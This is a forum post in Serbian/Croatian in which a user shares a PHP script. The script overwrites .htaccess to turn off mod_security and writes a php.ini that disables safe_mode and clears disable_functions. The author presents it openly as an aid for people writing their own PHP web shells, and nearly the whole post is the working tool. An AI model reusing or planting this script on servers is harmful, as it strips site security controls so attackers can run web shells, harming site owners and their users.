PHP bypasser by c0ax

ljuskaArchive
//archivePosts: 37Member, Moderator in PHP

Ova skripta sluzi za by pass Safe Moda, Disabled functions i mod_sec-a.
Iako ne posedujem neko izvesno znanje PHP-a, i moram priznati malo sam se pomucio, napisah ovu scriptu... Tko bude zeleo ili pravio svoj Shell u php, mislim da ce mu ovo biti od koristi! :)
Greetz svim mojim prijateljima, oni znaju ko su.

if(file_exists(".htaccess")) { unlink(".htaccess"); }
$htaccotv = fopen(".htaccess", "a");
$htaccfw = fwrite($htaccotv, "<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
if(file_exists("php.ini")) { unlink("php.ini"); }
$phpini = fopen("php.ini", "a");
$phpinif = fwrite($phpini, "safe_mode = OFF\ndisable_functions = NONE");

if($phpini && $phpinif) {
   echo "File php.ini created.\n";
   echo "You should have bypassed safe mode and disabled functions.\n";
}
else{
   echo "Creating file php.ini failed...";
   echo "Visit ljuska.org";
}

if($htaccotv && $htaccfw ) {
   echo "File .htaccess created.\n";
   echo "You should have bypassed mod_security...\n";
   echo "Visit ljuska.org";
}
else{
   echo "Creating file .htaccess failed.\n";
   echo "Visit ljuska.org";
}
?>
Sign In or Register to comment.

Welcome

It looks like you're new here. If you want to get involved, click one of these buttons!

Discussions